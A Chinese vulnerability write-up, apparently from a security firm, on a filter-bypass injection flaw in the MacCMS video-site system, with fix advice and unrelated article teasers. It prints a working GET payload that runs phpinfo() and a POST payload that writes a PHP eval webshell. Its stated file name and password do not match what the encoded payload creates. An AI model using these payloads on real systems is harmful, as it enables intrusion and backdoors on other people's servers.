网站漏洞修复之苹果cms电影系统

news/2024/5/9 22:34:53/文章来源:https://blog.csdn.net/weixin_33834910/article/details/92418782

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详情,我们仔细分析看下.

maccms漏洞分析与修复

苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示:

5162845557754527b03374edcbfd9e0c.png

代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文件,在function.php配置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行了安全转义。网站漏洞问题的发生就在这里.

我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好几年前开发,并公开在网络上的,已经很久没有更新维护了并且还存在sql注入代码绕过的情况,参数值之间进行实体转换的时候,360的sql拦截规则没有对空白符以及反斜杠进行拦截,导致可以绕过插入恶意参数,直接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。

d52bb7a99ba14efbab2bdfc8192d1247.png

我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代码进行注入,sql语句在拼接中,可以插入反斜杠进行单引号的报错,从而绕过苹果CMS的安全拦截。语句如下:

GET请求:

http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

可以直接看php的具体信息

POST请求

可以直接获取webshell

http://127.0.0.1/index.PHP?m=vod-search

POST内容如下:

wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

bf80b2e8560f42f1a1892ad92bcb683e.png

可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.

如何修复苹果cms网站漏洞呢?

对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也很容易忘记加引号,再一个后期处理安全过滤的时候可以插入单引号,stripslash导致可以加入单引号,编解码导致绕过addslash,使用urldecode编码进行注入绕过,根据上面提出的漏洞绕过,我们SINE安全提出漏洞修复的建议是:对URL解码进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加强空格,以及百分符号的拦截,如果对程序代码不熟悉的话建议咨询专业的网站安全公司来处理解决。

转载于:https://my.oschina.net/u/3887295/blog/3040376

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_758202.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蜻蜓fm收音机电脑版_网页版全网音乐搜索解析下载网站,完全免费使用,支持网易酷狗酷我虾米百度一听咪咕荔枝蜻蜓 喜马拉雅全民K歌...

关注我们一起玩耍吧!微信公众号:微友集市我们不生产资源我们做互联网搬运工这里是“微友集市”,我们坚持分享优质的资源,让更多人能用到更好的资源,少花冤枉钱。如果你有什么需要,可以给我们留言&#xff0…

8x8点阵字体在线生成器_字体字形网站合集

求字体,提供中文和英文字体库下载、识别与预览服务。传送门:http://www.qiuziti.com字体之家,提供各种字体打包下载,中文字体、英文字体、PS字体、艺术字体、手机软件、字体工具等。传送门:http://www.17ziti.com站长字…

.net mvc 获取iis基本登录网站登录账号_超赞!用Java实现了第三方qq账号登录...

传智汇传智播客旗下IT互联网精英社区作者:人间蒸发来源:zuidaima.com/blog/4725615031700480.htmQQ互联注册一个账号网站地址:https://connect.qq.com/,添加一个应用,具体怎么申请以及需要填写的信息,腾讯官…

eclipse tomcat新建一个_Eclipse搭建本地动态网站环境

准备Eclipse和Tomcat完成Web容器的配置在Eclipse中配置Tomcat (web容器)1、选择window->show view->other->servers 下面出现了servers点击 no servers are available click this link to create a new server -> 选择Tomcat7(下载的是7)->点击下一步->browe…

sqlite用户名密码_黑客利用工具轻易获取管理员账户密码,你的网站危险了

首先,先简单介绍下sqlmap简介:sqlmap是一种开源的工具,可以自动检测和利用SQL注入以及接入该库的服务器。它拥有非常强大的检测引擎、具有多种特性的器、通过库指纹提取访问底层文件系统并通过外带连接执行命令。支持的数据库:MyS…

服装设计网页制作_小众精选样机在线制作网站,大量免费的模型PSD分层

样机素材是设计行业的专用名词,又叫模板。是设计图案模拟到实物或场景展示的可重复套用模型。是将设计图案应用到一个实物效果图中进行展示,让设计图案看起来更加形象逼真。在国内也称样机素材为:标志模板、模拟机、贴图样机、智能贴图。用途…

kali如何制作php字典_sqlmap如何用dirsearch.py协助osshell拿到目标网站shell

本文首发于FreeBuf→https://www.freebuf.com/sectool/256588.html沙漏安全团队欢迎真正热爱技术的你!SQLMAPsqlmap是一个开源渗透测试工具, 它可以自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能&#…

前端2个下拉框关联_前端SEO优化

前端SEO优化原文链接:https://juejin.im/post/6844903824428105735 作者:dhonor一、搜索引擎工作原理在搜索引擎网站的后台会有一个非常庞大的数据库,里面存储了海量的关键词,而每个关键词又对应着很多网址,这些网址是…

db2 删除索引_网站索引量直在下降是什么原因?

所谓网站索引量,就是指搜索弓|擎把你的网页内容索取到数据库中。简单理解就是网站中有多少页面可以作为搜索候选结果,就是网站的索引量。网站的索引量越高,说明参与排名的机会就越大。那么,在网站SEO优化过程中,索引量一直在下降&…

lnmp一键安装包 linux_搭建属于自己的个人网站(二):LNMP一键安装

接上一篇:搭建属于自己的个人网站(一):域名注册解析及服务器配置本片介绍LNMP一键安装和wordpress安装以及wordpress后台管理模板上传,话不多说,直接上。1、LNMP一键安装(Linux NGINX MySQL PHP)打开Xshell工具,输入…

python编写程序的思路_神级程序员手把手教你写网站Python WEB开发!这个思路满分!...

本次的分享主要围绕以下几个方面: Python WEB开发技术简介 Django简介与环境配置与MVT设计模式简介 开发一个博客站点项目思路 路由编写与模型设计实战 快速开发一个网站后台与试图编写实战 模板设计与编写以及完善博客站点的其他功能Django是采用MVT的设计模式进行…

网站导航颜色停留_营销型网站建设的9步骤,你get了吗?

全网营销的信息时代,单纯的展示型网站仅适合那些不适合开展网络营销的行业,而这些行业也在不断寻找开拓网络营销渠道的办法,如建筑、工程等。在这个时代大背景下,企业营销型网站的比重就越来越大。但是很多企业对互联网的一些知识…

使用C#登录带验证码的网站

我在上一篇文章中已经讲解了一般网站的登录原来和C#的登录实现,很多人问到对于使用了验证码的网站该怎么办,这里我就讲讲验证码的原理和对应的登录方法。 验证码的由来 几年前,大部分网站、论坛之类的是没有验证码的,因为对于一般…

视频网站?电子商务?

从两个不同行业的网站(视频分享、电子商务),看互联网业务平台的特征: 1. 两者的核心都是内容。一个是视频,它的特性是:信息载体、数字化;另一个是商品,它的特性是:…

Step by Step WebMatrix网站开发之二:使用WebMatrix(1)

第一次运行WebMatrix会看到如图1所示的窗口。 图1 第一次运行WebMatrix显示的窗口 我的网站 进入“我的网站”可看到自己设计过的网站。 从Web库创建网站 可以从“从Web库创建网站“中理由网络上开源的网站系统创建网站,如名气比较响的WordPress、phpwind等…

60款高质量的网站模板免费下载(上篇)

您可能还喜欢 分享45款高质量的免费(X)HTML/CSS模板最新30佳精美 PSD 网站模板免费下载寻找网页设计灵感的27个最佳网站推荐60佳灵感来自大自然的网页设计作品欣赏分享100佳精美的作品集网站设计案例当你想快速制作出一个网站的时候,网站模板就非常有用了。学习网页…

java 学习网站_JAVA程序员学习必备十大网站

作为开发者来说,必备的除了对编码的热情还要有自己的一套技巧,另外不可缺少的就是平时学习的网站。以下本人收集的 Java 开发者必备的网站,这些网站可以提供信息、以及一些很棒的讲座 , 还能解答一般问题、面试问题等,或许你会认为…

linux测试网页装载时间,如何使用curl命令测试网站加载速度

Curl命令是一种用于通过各种协议传输数据的工具。有了它,我们就可以非常准确的知道网站的加载时间。使用此命令,我们可以看到:请求收到响应之前的总时间(time_namelookup)TCP协议在远程服务器上完成的总时间(time_connect)文件传输开始的时间…

网站使用QQ登陆

上几天我朋友说他知道怎么实现网站使用QQ号登陆或者注册了,于是要他发给我学习,感觉好复杂,而且运行不了(主要万原因是因为这东西得上传到空间是实验),于是在博客园找了相关的资料,发现在也并不…

腾讯天堂最新服务器,天堂官方网站-腾讯游戏

亲爱的玩家:我们感谢您,成为了《天堂》世界的勇士;我们感谢您,伴随《天堂》十年,不离不弃;我们更感谢您,给我们如此多的批评建议,一切皆因您真心热爱这个游戏。而面对如此热爱《天堂…